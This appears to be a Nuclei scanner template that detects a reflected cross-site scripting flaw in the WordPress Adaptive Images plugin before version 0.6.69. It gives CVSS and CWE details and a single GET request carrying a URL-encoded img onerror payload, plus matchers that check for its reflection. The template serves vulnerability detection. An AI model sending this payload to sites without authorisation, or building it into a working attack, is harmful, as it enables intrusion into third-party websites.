漏洞描述
WordPress Adaptive Images < 0.6.69 is susceptible to cross-site scripting because the plugin does not sanitize and escape the REQUEST_URI before outputting it back in a page.
id: wp-adaptive-xss
info:
name: WordPress Adaptive Images < 0.6.69 - Cross-Site Scripting
author: dhiyaneshDK
severity: high
description: WordPress Adaptive Images < 0.6.69 is susceptible to cross-site scripting because the plugin does not sanitize and escape the REQUEST_URI before outputting it back in a page.
reference:
- https://wpscan.com/vulnerability/eef137af-408c-481c-8493-afe6ee2105d0
- https://plugins.trac.wordpress.org/changeset/2655683
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cwe-id: CWE-79
metadata:
max-request: 1
tags: wpscan,wordpress,xss,wp-plugin,wp,vuln
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/adaptive-images/adaptive-images-script.php/%3Cimg/src/onerror=alert(document.domain)%3E/?debug=true"
matchers-condition: and
matchers:
- type: word
words:
- '<img/src/onerror=alert(document.domain)>'
- '<td>Image</td>'
condition: and
- type: word
part: header
words:
- 'text/html'
- type: status
status:
- 200
# digest: 4b0a00483046022100ed826d83a7ce2528834d075a47d90edb27c71bfd69d0ff57fd8618a5cd2554da0221009ce1e571dd82b8abda9e0f3f8bff73d3e7ce9df22a904348e139c80f221723ff:922c64590222798bb761d5b6d8e72950